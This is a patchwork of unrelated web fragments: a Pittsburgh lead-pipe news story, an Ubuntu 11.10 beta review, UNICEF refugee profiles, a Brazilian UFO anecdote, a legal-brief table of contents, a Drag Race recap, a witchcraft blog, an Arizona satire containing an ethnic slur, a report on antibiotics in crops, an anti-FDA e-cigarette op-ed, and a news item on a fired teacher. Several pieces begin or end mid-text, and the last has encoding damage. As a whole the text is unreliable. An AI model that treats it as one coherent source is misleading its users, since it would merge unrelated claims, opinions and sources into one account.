“You have all different levels just pointing their fingers in a million different directions, but no one actually getting down to the real work and doing the hard work of replacing the pipes,” she says.
She thinks the city’s water authority is overestimating how much it would cost to replace all of its lead pipes. Wagner calculates that the city, which had its largest surplus in years in 2016 thanks to a real-estate boom and surging income taxes, could replace its lead lines in five years.
“That’s why I get so incredibly frustrated because it is very, very fixable. What we’re just lacking is the will to do it,” she says.
Pittsburgh Mayor Bill Peduto says that’s not true. The city has given out close to 20,000 pitchers with lead filters in them. And Peduto is pushing to get a state law passed that will allow the water authority to replace private lead lines, with the homeowner paying a share of the cost.
Peduto says the next round of lead testing due by the end of the year is likely to comply with EPA limits. And when that happens, PWSA won’t be required to remove any more of its lead pipes. But Peduto says the water authority is planning to go ahead with a 10- to 12-year plan to remove those pipes, even if it isn’t required to by law.
“To be honest the system is antiquated and it won’t get better. We may be able to treat it. But the long term solution is to completely remove lead pipes from our water system,” says Peduto. “If we want to emerge as a 21st century city, it means we have to remove the lead out of our water system.”
From his porch on Radium Street, Kevin Edmonson watches the work crew dig for pipes on his street, as his granddaughters, Dream, 3, and Kersity, 6, play together.
The day the water authority’s digging crew came to his street was the first time Edmonson, a forklift operator at a local warehouse, says he’d heard about lead in the water. He says his family drinks bottled water, but uses the tap for cooking and bathing.
“I don’t use tap water,” he says. “I’m very cautious”
When the crew dug in front of his house, they found the private side of the pipe on his house was copper, and the public side was lead. So the water authority was able to replace the lead pipe.
In this instance, Edmonson is lucky. Thousands of other Pittsburghers will have to wait years to have their lead pipes replaced, though his would be removed in a matter of days.
“I’m excited for them to be changing it, and keep my family safe,” he says.
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Unity
Revamped Dash
Dash got a complete new look in Ubuntu 11.10 beta 1: firstly, Unity Places (both Files and Applications) - now called "lens", are no longer displayed as separate launchers and are now integrated into Dash. Further more, there's a new Unity music lens installed by default and they all (places / files / music) got some cool new filters.
Also, the Dash button has been moved from the top panel to the Unity launcher.
And finally, Dash got its own buttons (where the button to open Dash used to be) which you can use to close, maximize or restore it.
(Applications Lens)
(Files Lens)
(Music Lens)
(Dash inherits the wallpaper color)
Hidden window controls for maximized windows
(Maximized window - no window buttons)
(Maximized window buttons revealed on mouse-over)
Window controls have been hidden by default for maximized windows and are revealed on mouse-over, just like the menu. This is yet another controversial change in Ubuntu, since it doesn't seem to fix anything - for instance, you don't get more screen space like it is with the menu. But maybe this is just the first step of some other changes that may come in Ubuntu 12.04. We'll see.
Alt-Tab switcher with minimized window previews
This is one of the changes I for one like the most in the latest Ubuntu 11.10 beta 1: the ALT-TAB switcher can now display previews, even for minimized windows - here's a screenshot:
Other Unity changes
Default theme
Ubuntu Light themes - Ambiance and Radiance -, got a few updates and have a new toolbar, among other changes:
(Ambiance)
(Radiance)
Also, you can now change the GTK theme from the Appearance dialog, however, this will only change the GTK theme while the window titlebar will remain the same:
Unfortunately, there is still no GUI way to change the icon theme (by default) so it seems GNOME Tweak Tool will be a must for all those who want to customize their desktop appearance.
Default applications
Even though Thunderbird has been available in Ubuntu 11.10 for quite some time, it was still uncertain if it will stay as the default email application. But it was finally confirmed as default a few weeks ago:
[...] the thing is, those first alphas were just to get a sense of how Thunderbird would work as the default client, and to gather feedback. At a moments notice, Canonical could have backed it out and switched it back to Evolution.
But they’ve given their thumbs up, and they’re fully on board.
- via mikeconley.ca
The default application selection in Ubuntu 11.10 Oneiric Ocelot beta 1 includes: Firefox 7.0 beta 3, Thunderbird 7.0 beta 1, Nautilus 3.1.4, LibreOffice 3.4.2, Gedit 3.1.4, Totem 3.0.1, Banshee 2.1.3, Empathy 3.1.5.1, Shotwell 0.11, Gwibber 3.1.6, Transmission 2.33 and Deja Dup 19.90 - all on top of GNOME 3.1.5. Also, Oneiric beta 1 uses Linux Kernel 3.0.0-9.15 (based on the v3.0.3 upstream stable kernel) and Xorg server 1.10.3 rc2.
Reminder: as you probably know, Ubuntu 11.10 comes with Unity by default and Unity 2D as the fall-back mode. However, if you want you can easily run GNOME Shell or the old Gnome Panels (but using GNOME 3) - they are easily installable from the repositories via Ubuntu Software Center. GNOME Shell available in the repositories has reached version 3.1.4. as you probably know, Ubuntu 11.10 comes with Unity by default and Unity 2D as the fall-back mode. However, if you want you can- they are easily installable from the repositories via Ubuntu Software Center. GNOME Shell available in the repositories has reached version 3.1.4.
Multiarch support
Ubuntu 11.10 beta 1 comes with multiarch support:
For all amd64 installs and upgrades, select 32-bit software, including skype and flash, will be installable directly using the same 32-bit packages that are used on i386 installations, without the need to install the ia32-libs compatibility package.
[...] As a result of this change, work has begun to deprecate the ia32-libs package, which no longer ships all the libraries that it did previously. Most 32-bit software will either be automatically transitioned to i386 packages on upgrade or will continue to work with the ia32-libs package in oneiric.
Unity 2D
Unity 2D got some updates as well and it tries to look as close as possible to the Compiz-based Unity, however there is still work to do. Dash now incorporates applications, files and music lenses just like Unity 3D, but it lacks the buttons and transparency that were recently added to Unity 3D:
(Applications Lens)
Download Ubuntu 11.10 Oneiric Ocelot beta 1
While Ubuntu 11.10 Oneiric Ocelot has come a long way, there are still bugs and crashes (you can even see some in the video at the beginning of the post) so do not install it on a production machine.
If you've already installed Ubuntu 11.10 a while back and kept installing the normal upgrades, you already have the latest beta 1!
Adla, Kawergosk refugee camp
www.ekurd.net
The school year is due to start soon in Kawergosk, and, for Adla it is the key to a better present, as well as a better future.
“I like school very much, because I want to help my father and mother,” she says, wiping tears from her eyes.
Quickly recovering her composure, Adla says her family is very grateful for the warm welcome her family has received in Iraq. And, although things are hard now, she knows that they will not always be this way.
“Someday I would like to be president of Iraq,” she says with a shy smile.
Nergiz, Baherka refugee camp
16 September 2013 – Nergiz Ibrahim, 29, has a composed demeanor and speaks English precisely – the result of an English degree from the University of Damascus.
This morning, in Baherka refugee camp, she’s wearing a T-shirt that marks her out as one of the volunteers who’s working with the camp’s children.
Baherka is a short drive from Erbil, down a winding country road lined with wheat fields. The camp’s in the grounds of a former concrete factory, a massive structure that dwarfs the tents that are now home to thousands of people.
This morning, the entrance of the camp is lined with visitors’ vehicles, and children are waiting excitedly to greet a battery of local officials, including UNICEF partner the Barzani Charity Foundation. The visitors are here to celebrate the opening of a new school, which will accommodate 150 students.
Nergiz is one of the reasons the school is able to open at all. She has joined several Syrian volunteers who have helped to ensure that the school was set up, and that the children who live here can gain a sense of normalcy that the classroom provides.
Nergiz is happy with her new life. She says she lacks for nothing and has more freedom than she used to.
“I enjoy my life here more than Syria. For three years, I couldn’t go out at all. We would stay home and watch television. In three years I didn’t see anything,” she says.
The school opens on September 22, at which time Nergiz will be in the classroom, keeping Syrian traditions alive and encouraging children’s dreams and ambitions.
“This group is very nice,” she says. “I enjoy the experience. I want to work as a teacher.”
Copyright ©, respective author or news agency, unicef.org
Lory Duralia, Bosky Dell property owner, feels her mission or goal is to assist people with preserving Earth. "We need to take care of Earth so the Earth will take care of us." Lory continues, "We want Earth to be a good place for our children to live, and for our children's children as well."
(a threatened species)
* they cannot be easily or fully replaced once they are lost.
* they provide homes for diverse species, the values of which (e.g., medicines) we are only beginning to understand.
* they help prevent flooding by catching rain and slowly releasing it back to surface and groundwater.
* the plants emit oxygen and filter air and water pollutants.
* they often have recreational and educational value.
Other helpful tips include reducing lawns and changing maintenance practices, avoiding and removing invasive plants, using natural design and conserving natural resources.
The curious story of the arrival of flying saucers to the city was announced to the world by Edilcio Barbosa, better known as “Messenger of Jupiter”. The story, which looked more like the plot of a science fiction movie, had a date and time set for the landing of the flying saucers and attracted thousands of people to the quiet town that would be known by the case. The Jupterians would arrive at Casimiro de Abreu on March 8, promptly, at 5:20 in the morning.
Their arrival generated a great expectation, which attracted the Brazilian and international press. The case was covered in a national network, being reported in a long report at Rede Globo’s Fantástico, besides several regional news magazines and printed media. The global commotion was so great that NASA, the North American Space Agency, sent investigators to the region to accompany the reception. Altogether, more than 10,000 curious people went to the city on March 8, 1980, almost half of the local population that was approximately 20 thousand inhabitants.
As is well known, the Jupiterians never landed in the city and thwarted a crowd that waited anxiously for flying saucers. The thousands of people who dawned on the scene began to hiss Edilcio Barbosa, known as spokesman of the extraterrestrials, and in the following began a tumult, that forced the “Messenger of Jupiter” to leave escorted by the police. At the time, he claimed that the aliens did not land in the city due to the large number of curious people and that they had transferred the “arrival” to a neighboring town a few days later. But again, they did not show up at the other town either.
Article on Fantástico, Brazilian TV show.
The success of the “Messenger of Jupiter” was so great, that the case recently won a documentary telling the curious story. Called “Efeito Casimiro,” the short film directed by Clarice Saliby, won national and international awards. The documentary was released in 2013, in New York, in the United States.
Reception to the Jupiterians
The reception organized for the extraterrestrials was worthy of a first contact of humanity with life outside the Earth. With the Civil Defense team of the State and the local hospital of readiness, the city of Casimiro de Abreu was in celebration to receive them. The VIP treatment offered to the Jupiter made even the local city hall install a payphone, a luxury for the time, near the landing stage.
The tributes did not end there. It was also organized an open car tour of the city, a breakfast for the extraterrestrials and the day would end with an Official Dance. As a reminder of the Earth, the then mayor of Casimiro de Abreu bought an encyclopedia with the history of humanity to give the Jupterians.
Scrollable Dock Keep all your favorite apps on the dock, with up to 7 icons per page and up to 3 pages. Settings > Dock > Dock Pages and Dock Icons
Scroll Effects Enjoy eye candy when scrolling your desktop and drawer. Effects include Cube and Cardstack and more for Prime users. Settings > Desktop (or Drawer) > Scroll Effect
Infinite Scroll Never be far from your favorite page, loop through your desktop continuously. Settings > Desktop > Infinite Scroll
Folder Icons You can chose a background, preview style or even replace the whole icon. Settings > Desktop > Folders
Backup/Restore Export your settings and layout before a wipe to quickly get back up and running. Settings > Backup
Gestures Prime Quickly start Nova Actions or Apps from gestures on the desktop, such as pinching, swiping or two-finger swiping. Settings > Gestures
Hide Apps Prime Keep a clutter free drawer by hiding never used apps. Settings > Drawer > Hide Apps
-i- 3 : 1 3 - c v - 0 2 5 1 9 - G P C - W V G
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 I.
INTRODUCTION ................. .................. ................. .................. .................. ... 1
II.
PLAINTIFF DISPUTES TRUMP’S STATEMENT OF UNDISPUTED FACTS ................. ................. ................. .................. ............. 1
III.
RELEVANT FACTS ................. .................. .................. .................. ............... 2
IV.
LEGAL STANDARD ............................... .................. .................. .................. 8
V.
ARGUMENT ................ .................. .................. .................. .................. .......... 9
A.
The RICO Statute Must Be Read Broadly ................. ................... ........ 9
B.
More so than Anyone Else, Trump Conducted the T U Marketing Scheme ................. .................. .................. ................. ........ 11
Trump Directly Conducted the TU Marketing Scheme ........... 11
Trump Indirectly Conducted the TU Marketing Scheme ......... 14
C.
Trump’s Puffery Argument Is Mere Puffery that This Court Has Already Rejected ................. ................. ................. ................. ............. 16
D.
Trump’s Representations Were False and Misleading .................. ..... 19
Trump Has Confessed the Falsity of His Representations ....... 19
Trump’s Statements About TU Were Misleadingly Incomplete ................. .................. .................. ................. .......... 20
E.
Trump Knowingly Participated in the Scheme to Defraud ................ 21
Trump’s Participation Is Undeniable .................. ................. ..... 21
The Evidence of Trump’s Intent to Defraud Is Overwhelming ................. ................. .................. .................. .... 22
The queens gather in the werk room after Kimora’s elimination and Aja finds herself fist-fighting with her inner saboteur. She calls Valentina out (again) for her look on the runway, but the latina queen is totally not bothered and Aja comes across just a tad desperate.
The next mornting, the queens have officially lost it:
The contestants are back and ready for another exciting mini-challenge – oh wait those don’t exist anymore. This week’s challenge: morning talk show! Acting challenges are always a great way to see how quick-witted the ladies are – and they’re just full of cringe-worthy moments for us viewers, so that’s just awesome/horrible.
Trinity Taylor and Aja are named team captains, and teams are formed. Aja immediately picks Valentina while Trinity chooses Eureka, both impressive steps toward mending fences. Or just more easy drama. Poor Nina Bo’nina Brown is picked last and that is just not okay – I mean look at that tank top!
Trinity attempts to cheer Nina up despite essentially being stuck with her, and Nina is not having it. But that drama is immediately buried as Eureka throws the word “ghetto” around approximately 25 times – including at Nina – and generally acts like that 7-year-old cousin we all really want to slap in the face but aren’t supposed to.
Shooting for Team “Good Morning Bitches” gets started, with Alexis Michelle and Farrah Moan talking about acrylic toenail extensions. I don’t find it funny, but Ross Mathews does and I guess that’s all that matters.
We move on to Aja and Valentina doing some extremely weird segment about queens who’ve had their eyebrows and teeth photoshopped out? Who writes this stuff?
Fortunately, Sasha Velour and Shea Couleé are here to save us all from this shitshow of a challenge with a glorious segment filled with sexual tension and RuPaul chocolate bars.
In comes the fabulous Naya Rivera for the interview segment. Alexis Michelle’s wig is questionable but she does a great job managing the bit, so yay for her.
Next up: “Not On Today!” Y’all, if you thought the last team was cringe-worthy, you’ve got something coming. Trinity Taylor and Peppermint have this “I slept with your husband” thing going and it’s terrible. Charlie Hides tries to direct Cynthia Lee Fontaine through their whole segment and it’s terrible. The queens forget to conclude the interview with Naya Rivera and it’s terrible.
Fortunately, Eureka and Nina’s “drag on a dime” segment saves this from being a season 7 Shakesqueer-level trainwreck. Shooting for the challenge finally ends and I’m just grateful to be alive.
It’s elimination day and the Aja/Valentina feud is finally handled in a mature way. Aja comes clean, Valentina gives her some advice, and the girls hug it out.
As the queens bond over Charlie’s heartbreaking losses and Valentina is preparing to open up about a health issue of hers, Eureka decides she hasn’t acted like a terrible person in a little while and makes a joke about an eating disorder. When Sasha Velour asks her to be a little respectful, Eureka walks all over her and then feels like she’s being made out to be a villain.
Runway time! Naya Rivera is back, along with UnREAL star Jeffrey Bowyer-Chapman. I’m not familiar with him, but it’s nice to have some eye candy, because dragged-up RuPaul once again looks a little iffy and the runway lasts about 30 seconds this week. At least we have an extended version on Logo’s website.
Category is nightie glamor, and the ladies are all serving body-ody-ody. Aja has overcome her inner saboteur and listened to the judges. She’s unrecognizable – and gorgeous.
Valentina is perfect as always, Shea Couleé is serving fabulous 1920s realness, and Sasha Velour is giving me Violet Chachki and Pearl‘s lovechild. Charlie Hides looks like she’d rather be grocery shopping. Eureka’s got a wig reveal, but what’s underneath kinda looks like every single wig she’s had on the runway thus far, so it’s a little underwhelming. Nina Bo’nina Brown describes her look as “zombie Naomi Campbell” and I think I’m into it?
Shea Couleé and Sasha Velour both win the challenge! Team “Good Morning Bitches” is safe and Valentina and Aja hug it out again and all is well in the world.
Now for some drama: Team “Not On Today” get read to filth for their looks and performances. Nina Bo’nina Brown starts sobbing even though her critiques are actually mostly positive and I just want to hug her giant inappropriate breastplate.
Then comes the fateful question: “Who deserves to go home tonight and why?” Eureka votes against Trinity Taylor and that’s all the fuel the two of them need to last throughout all of Untucked. Their conversation backstage is mature and composed for all of 5 seconds, and then they start talking over each other and raising their voices and all hell breaks loose.
Trinity and Charlie Hides fall into the bottom two and my heart breaks because I love them both. Right away, though, it becomes obvious who the winner is going to be, as Charlie pulls a Tammie Brown and just kinda stands there, barely making an effort. Regardless, Trinity lip-syncs the house down and totally kills it.
Thus, the transatlantic dame sets sail for home. Charlie was one of my favorites going into the season, so it sucks to see her go so soon – but I could tell the competition was getting to her and she was just over it. That said, she pulled some fabulous looks while she lasted and showed age doesn’t matter if you’re talented enough. Ta-ta, Ms. Hides!
Time for the weekly rundown!
Farrah Moan – Farrah seems to have recovered from her crisis last week. She wasn’t the best, but she definitely wasn’t the worst either. Keep it going, girl.
Alexis Michelle – I feel for Alexis when she says in Untucked she’s worried about having been nothing but safe in the competition so far. It’s hard to tell what the judges think of her because of that.
Aja – As I said earlier, Aja showed some serious growth in this episode. She maturely ended her feud with Valentina and seriously improved her look. Aja is back on track!
Valentina – Valentina struggled a bit with the talk show challenge, either because of Aja or because of what she was given to work with, but she still continues to kill on the runway and handle her haters with maturity and zen.
Shea Couleé – I finally get the hype for Shea. She’s talented, confident, and funny, and she totally deserved her win. Her ’20s runway look this week was to die for.
Sasha Velour – My personal favorite has finally won a challenge! This week she showed she’s not afraid to get real silly, and that’s great for a queen who sometimes looks like she takes herself too seriously.
Trinity Taylor – Trinity may have landed in the bottom due to her mismanagement of her team this week, but she’s still a total contender for top 3 in my eyes. Her lip-sync was incredible.
Peppermint – Her runway look this week was a bit of a fail and she didn’t do great in the challenge either. I would’ve preferred to see her in the bottom rather than Trinity or Charlie, but she does give pretty funny confessionals, so she’s got that going for her.
Cynthia Lee Fontaine – I can’t help but feel like the judges are giving Cynthia a few free passes because she’s the “beloved returning queen.” Hopefully, that doesn’t lead to some unfair eliminations down the line.
Eureka – So much for being nice and redeeming herself last week. Between the “ghetto” thing, the eating disorder joke, and the constant fighting with Trinity, Eureka went from bad to worse this week and I’ve just about had it with her.
Nina Bo’nina Brown – As the judges said, Nina’s biggest weakness is her vulnerability. She’s incredibly talented, but I hope her emotions don’t get the best of her. She still has a lot to show.
They freeze up!
Without a defined direction they feel incapable of continuing forward, they stagnate while they try to pick a path and they stop learning. They don’t want to pursue something only to have to backtrack later so they pursue nothing at all!
How is anyone supposed to get their start in the craft when they have NO IDEA what direction they want to go in? Or what if they have more than one kind of witchcraft that interests them? How do they choose?!
The answer is surprisingly simple.
You don’t!
Having a specialization or a personal path in your witchcraft can be a wonderful thing but unless you just KNOW right from the jump what kind of specialty is for you there’s no need to get wrapped up in those sorts of details.
The important thing is that you keep learning.
For the majority of people their path unfolds in the natural course of events.
Maybe you try a bunch of different things but you find after a few months that you’re gravitating toward divination almost every time you practice your craft.
Or perhaps you started out with kitchen magic but suddenly find yourself with a burning interest in stars and how they can be used in the craft.
Perhaps over the course of your time as a witch you even find that you prefer not to narrow your focus, instead pulling from many paths to create something personal to you.
Every individual witch will find their own path which, while they may choose to call it by a recognizable title, will be entirely unique to them. Finding your path is not about choosing what kind of witchcraft you want to practice, it’s about allowing your craft to develop its own flavor and personality as you learn and grow.
In order to find your path you must let go of the imposed boundaries of titles. Titles can be useful in many ways but for newer witches they can be limiting. Witchcraft is a way to claim your power! Why would you limit yourself in that pursuit?
Instead cast your net as far as you like, read about anything and everything that interests you. Allow yourself to wander in your learning, follow your whims and soak up as much variety as you can.
Don't limit yourself to only the things that are obviously magical! The mundane can always be made magical. What do you love? Can you transform your hobbies and existing interests and incorporate them into your craft? (Hint: the answer is almost certainly yes!)
As you explore and learn and practice your path will make itself clear, the things you love, the things that make you excited will always come to the surface. You will find yourself reaching for the practices that truly FEEL magical to you again and again.
That is the essence of your craft! Those foundational practices that you use so regularly that they come as easy as breathing are what make up your personal path.
Tomorrow I'm going to be telling you about the workshop I've been putting together to help new witches get started and avoid the stagnation that can come from this sort of information overload!
The star of Governor Brewer’s political compass is not Ron Paul. It isn’t Rand Paul. Hell, it isn’t even Ru Paul. It’s ADRIAN PAUL! That’s right. Duncan McLeod! Not Connor McLeod from the daffy but lovable old movie which has a Scotsman played by a Frenchman who does a Peter Lorre impression (Christopher Lambert), while having an Egyptian with a Spanish name and clothing being played by an actual Scot (Sean Connery). About the only character who was what he was supposed to be was the Kurgan, a weird guy played by the even weirder Clancy Brown. No, we’re talking about the TV series with Adrian Paul (Adrian who?) which ran into the ground when his character Duncan McLeod decided he had two many co-stars and started killing them off at the end of season five.
So you see, it isn’t about crime, or racial prejudice, or white people wanting to hang around outside of Home Depot to pick up contractor jobs. After all, the instructions are NOT to use racial profiling in trying to pick out potential wetbacks on the street. After all, that hot blonde with the Eastern European accent could be one of them mail-order Russian brides who have married American just to get a green card! And we want to make sure those kind of criminals are arrested and searched for illegal ummm, illegal, well who cares, as long as we get to perform a full body search.
No. It’s finally clear that Jan Brewer’s and the Arizona legislature’s concern is to protect the people of Arizona from all the sword fights and beheadings that have been plaguing the streets of Tombstone! Forcing Arizonans to rush to the shelter of churches they would not have entered except for Christmas, Easter, weddings and funerals for the protection of Holy Ground where the Illegals cannot fight. Ever since Duncan’s dark quickening, Brewer said, we cannot depend on the Highlander of Clan McLeodo in the hope of having a good Calvinist only being the One Only Being. Arizona must be protected against ALL Illegals! Especially Canadians!
And speaking of Duncan McLeod: once I was in the Playboy mansion–that place is so huge and with so many rooms with SO many different things going on, I got completely lost. I was stumbling around, not knowing whether I was in the grotto or the bedroom wing! In my confusion, I turned a corner and went into a room and was aghast to see Hugh Hefner and Hugh Jackman humping on top of Adrian Paul. Aghast, I ran up to them, waving my arms and shouting: “Hey! Hey! Hugh! Hugh! Get off of McLeod!”
OK, I stole that part from Joe Bob Briggs. Happy 234th Birthday, U. S. of A.
Today, close to 70 percent of all antibiotics and related drugs used in the United States are routinely fed to cattle, pigs and poultry, according to the Union of Concerned Scientists. Although this practice sustains a growing demand for meat, it also generates public health fears associated with the expanding presence of antibiotics in the food chain.
People have long been exposed to antibiotics in meat and milk. Now, the new research shows that they also may be
ingesting them from vegetables, perhaps even ones grown on organic farms.
The Minnesota researchers planted corn, green onion and cabbage in manure-treated soil in 2005 to evaluate the environmental impacts of feeding antibiotics to livestock. Six weeks later, the crops were analyzed and found to absorb chlortetracycline, a drug widely used to treat diseases in livestock. In another study two years later, corn, lettuce and potato were planted in soil treated with liquid hog manure. They, too, accumulated concentrations of an antibiotic, named Sulfamethazine, also commonly used in livestock.
As the amount of antibiotics in the soil increased, so too did the levels taken up by the corn, potatoes and other plants.
"Around 90 percent of these drugs that are administered to animals end up being excreted either as urine or manure," said Holly Dolliver, a member of the Minnesota research team and now a professor of crop and soil sciences at the University of Wisconsin-River Falls. "A vast majority of that manure is then used as an important input for 9.2 million hectares of (U.S.) agricultural land."
Manure, widely used as a substitute for chemical fertilizer, adds nutrients that help plants grow. It is often used in organic farming.
The scientists found that although their crops were only propagated in greenhouses for six weeks--far less than a normal growing season--antibiotics were absorbed readily into their leaves. If grown for a full season, drugs most likely would find their way into parts of plants that humans eat, said Dolliver.
Less than 0.1 percent of antibiotics applied to soil were absorbed into the corn, lettuce and other plants. Though a tiny amount, health implications for people consuming such small, cumulative doses are largely unknown.
"The antibiotic accumulation in plants is just another negative consequence of our animal agriculture industry and not surprising given the quantity fed to livestock," said Steve Roach, public health program director for the non-profit Food Animal Concerns Trust.
For highly processed plants such as corn, the drugs would most likely be removed, added Dolliver. But many food crops such as spinach and lettuce are not processed, only washed, allowing antibiotics to remain.
"Nobody particularly eats corn or soybean directly," said Satish Gupta, a University of Minnesota professor of soil science and study leader. "But there are crops I am much more worried about, like cabbage and lettuce, because these are leaves we eat directly and consume raw."
One finding that particularly worries food scientists is the accumulation of antibiotics within potato tubers. Tubers are an enlarged, underground stem that uptake and store nutrients from the soil. In crops like potatoes, carrots and radishes, it is the part humans eat.
"Since these tubers and root crops are in direct contact with the soil they may show a greater propensity for [antibiotic] uptake," said Gupta.
Health officials fear that eating vegetables and meat laced with drugs meant to treat infections can promote resistant strains of bacteria in food and the environment.
Roach said "the clearest public health implication" from treating livestock with antibiotics is the development of resistant bacteria that reduces the effectiveness of human medicine. Past studies have shown overuse of antibiotics reduces their ability to cure infections. Over time, certain antibiotics are rendered ineffective.
Scientists believe antibiotics also may have contributed to the explosive rise in asthma and allergies in children over the last 20 years. Researchers at Henry Ford Hospital in Detroit, following 448 children from birth for seven years, reported that children who received antibiotics within their first six months had a higher risk of developing allergies and asthma.
Such health concerns led the European Union in 2006 to ban antibiotic use as feed additives for promoting livestock growth. But in the United States, nearly 25 million pounds of antibiotics per year, up from 16 million in the mid 1980s, are given to healthy animals for agriculture purposes, according to a 2000 report by the Union of Concerned Scientists.
Livestock producers contend that the spread of resistant strains of bacteria stems from the overuse of all medicines to treat infectious diseases in both humans and animals. Removal of antibiotics, they say, would only lead to increased disease in animals and reduction in food safety.
Tainted manure can impact more than just the soil. Once applied to the land, antibiotics can infiltrate water supplies as it seeps through the soil into aquifers or spills into surface water due to runoff, explained Dolliver.
"The other thing to remember is that the field is not a sterile environment. Mice, rabbit and foxes traverse farmland while other animals graze, all with the potential to become vectors for the resistant bacteria organisms and spread it throughout different animal populations," said Pat Millner, a U.S. Department of Agriculture microbiologist based in Maryland.
The presence of antibiotics within the food chain is likely to increase as the U.S. Food and Drug Administration has permitted greater use of controversial drugs on farm animals. For example, this past October, the FDA dropped plans to halt use of cefquinome, a potent antibiotic, after it said in July it would push against its use in animals.
Even if a product has the USDA organic label, it still can harbor traces of antibiotics, Gupta said. While there are restrictions on use of raw manure in U.S. organic farming because of concern over bacteria, no such rules are in place regarding antibiotics or hormones. Not all organic growers use manure with antibiotics, but many do, said Gupta.
High-temperature composting of manure, designed to kill pathogens, is required for crops certified under the USDA label. That could eliminate some antibiotics. But growers are not required to check for the drugs. "We urgently need to find some way to put guidelines in place on organic food regarding these chemicals," Gupta said.
Gupta said all growers should be told that composting can help. Composting decays piles of food or manure as microbes decompose organic matter using oxygen to survive, grow and reproduce. Heating up the material creates conditions conducive for bacteria to break down antibiotics and pathogens.
A pilot study by USDA scientists in Maryland added straw to a beef cattle manure pile, heating up the dense material while allowing spaces for air to penetrate. The higher temperatures sped up the decaying process of harmful substances.
"The process happens very rapidly, in this study it took about 10 days," said Millner. "This is not too surprising since antibiotics are not a thermally stable chemical compound."
In another study, the same researchers who discovered the uptake of antibiotics by plants tested four of these drugs to determine how effective composting would be in reducing harmful chemicals in turkey manure. After 25 days using a combination of natural heat generated by microbial activity, three of the four antibiotics broke down under the high energy conditions created, said Dolliver.
Composting reduced concentrations of some antibiotics by up to 99 percent. "These findings suggest manure management can be an important strategy for reducing the overall impact for these compounds making their way into the environment," said Dolliver.
Many questions still remain. Currently, projects are underway to grow crops for a full season in antibiotic laced manure, to grow them in fields rather than greenhouses and to analyze the concentrations and locations of the antibiotics within the plants. Researchers also want to determine which antibiotics are more likely to be picked up, which plants are more prone to uptake, what composting methods are most effective in reducing harmful material in manure and what antibiotics may be resistant to composting.
There are serious societal implications regarding the discoveries already made and the questions yet to be answered, Gupta concluded. "We are a chemical society and humans are the main user of pharmaceutical products," said Gupta. "We need a better understanding of what takes place when chemicals are applied to sources of food and must be more vigilant about regulating what we use to grow food and what we put in our bodies."
That’s what the Food and Drug Administration tells us on its website.
My intuition makes me grateful that the FDA is there to protect me -- to make sure that every drug is proven both safe and effective -- but “protection” kills people.
Last week, I discussed how the FDA kills by keeping useful medical devices off the market. Now, we learn the FDA threatens the health of cigarette smokers who want to quit.
How can I say that? Hasn’t the FDA proposed that new warnings and gruesome pictures be placed on cigarette packages because the old scares apparently weren’t working? As Reuters reminds us:
“The Food and Drug Administration in June released nine new warnings. ... Warnings must cover the top half of the front and back of cigarette packs and 20 percent of printed advertisements, and must contain color graphics depicting the health consequences of smoking, including diseased lungs, dead bodies and rotting teeth.”
So the FDA certainly seems to be trying to save smokers’ lives. How can I say the FDA threatens smokers?
What other conclusion can we draw when we consider that the FDA now talks about banning electronic cigarettes, or e-cigarettes. It sent threatening letters to manufacturers of the product.
E-cigarettes look like cigarettes, but instead of burning tobacco, they vaporize liquid nicotine when users puff on, or “vape,” them. The resulting aerosol mist satisfies “smokers” without their inhaling tars and the most dangerous of tobacco’s chemicals into their lungs.
What could be wrong with that? Well, the FDA says e-cigarettes contain trace chemicals that “may” be “toxic.”
But most everything “may” be toxic. New York Times science columnist John Tierney writes: “The agency has never presented evidence that the trace amounts actually cause any harm, and it has neglected to mention that similar traces of these chemicals have been found in other FDA-approved products, including nicotine patches and gum. The agency’s methodology and warnings have been lambasted in scientific journals."
Brad Rodu, a professor of medicine at the University of Louisville, concluded in the Harm Reduction Journal that the FDA results “are highly unlikely to have any possible significance to users” because it detected chemicals at “about 1 million times lower concentrations than are conceivably related to human health.”
Moreover, Michael Siegel, a professor at the Boston University School of Public Health, told Tierney: “It boggles my mind why there is a bias against e-cigarettes among antismoking groups” such as the American Cancer Society and the American Heart Association.
It boggles my mind, too, because, as Tierney points out, e-cigarettes not only pose merely a hypothetical risk compared to real “cigarettes containing thousands of chemicals, including dozens of carcinogens and hundreds of toxins,” e-cigarettes also have been shown to be unusually successful in helping smokers quit. A new study from Italy found that after 24 weeks, half of all smokers using the e-cigarettes reduced their consumption of the real McCoy by 50 percent. A quarter gave up smoking altogether.
True, the cigarette substitutes are basically nicotine-delivery devices. But so what? Britain’s Royal College of Physicians found that “if nicotine could be provided in a form that is acceptable and effective as a cigarette substitute, millions of lives could be saved.”
The American Association of Public Health Physicians wrote that e-cigarettes might “save the lives of 4 million of the 8 million current adult American smokers.”
Four million lives!
The FDA seems to believe that it can create a risk-free environment here on earth. But that is pure balderdash. Life is always a choice between greater and lesser risks -- zero risk is not an option. Striving to abolish risk kills people.
“It’s time to be honest with the 50 million Americans, and hundreds of millions around the world, who use tobacco,” Rodu writes. “It’s time to abandon the myth that tobacco is devoid of benefits and to focus on how we can help smokers continue to derive those benefits with a safer delivery system.”
The FDA claims that all its regulations save lives. But its e-cigarette policy would kill smokers.
A gay teacher recently fired from her position at a Catholic high school in Columbus says a local teachers union will not support her effort to get reinstated.
Carla Hale, who was fired from Bishop Watterson High School in March, said yesterday that the Central Ohio Association of Catholic Educators� grievance committee had determined that the union will not back her cause.
�COACE�s decision should not be interpreted as reflecting unfavorably upon Ms. Hale as a person or as an educator,� says a letter from the grievance committee provided by Hale. �She is known to COACE as a caring and compassionate educator whose professionalism is unquestioned.�
Hale�s attorney, Thomas Tootle, said the decision means that the association will not financially back Hale�s cause, and supporters of the teacher have started a fund on her behalf.
The grievance committee had an �extremely difficult task,� said association President Kathleen Mahoney.
�These dedicated members of the Central Ohio Association of Catholic Educators spent many agonizing hours reviewing the facts of the Carla Hale case. It was their decision that the agreement had been violated and that there was not a case to bring to arbitration.�
Hale next plans to appeal to Superintendent Lucia McQuaide of the Roman Catholic Diocese of Columbus, which oversees the school. If McQuaide denies reinstatement, Hale could take the matter to arbitration on her own or file a lawsuit, Tootle said.
The physical-education teacher lost her job after she listed the name of her partner in her mother�s obituary published in The Dispatch. Columbus Bishop Frederick Campbell has said Hale�s �quasi-spousal relationship� violates church teachings.
Diocesan officials have said teachers agree in employment contracts to keep with the tenets of the Catholic Church, and the union�s agreement with the diocese says contracts can be terminated for immorality. The Catholic Church advocates acceptance and compassion toward gay people but considers homosexual acts sinful.
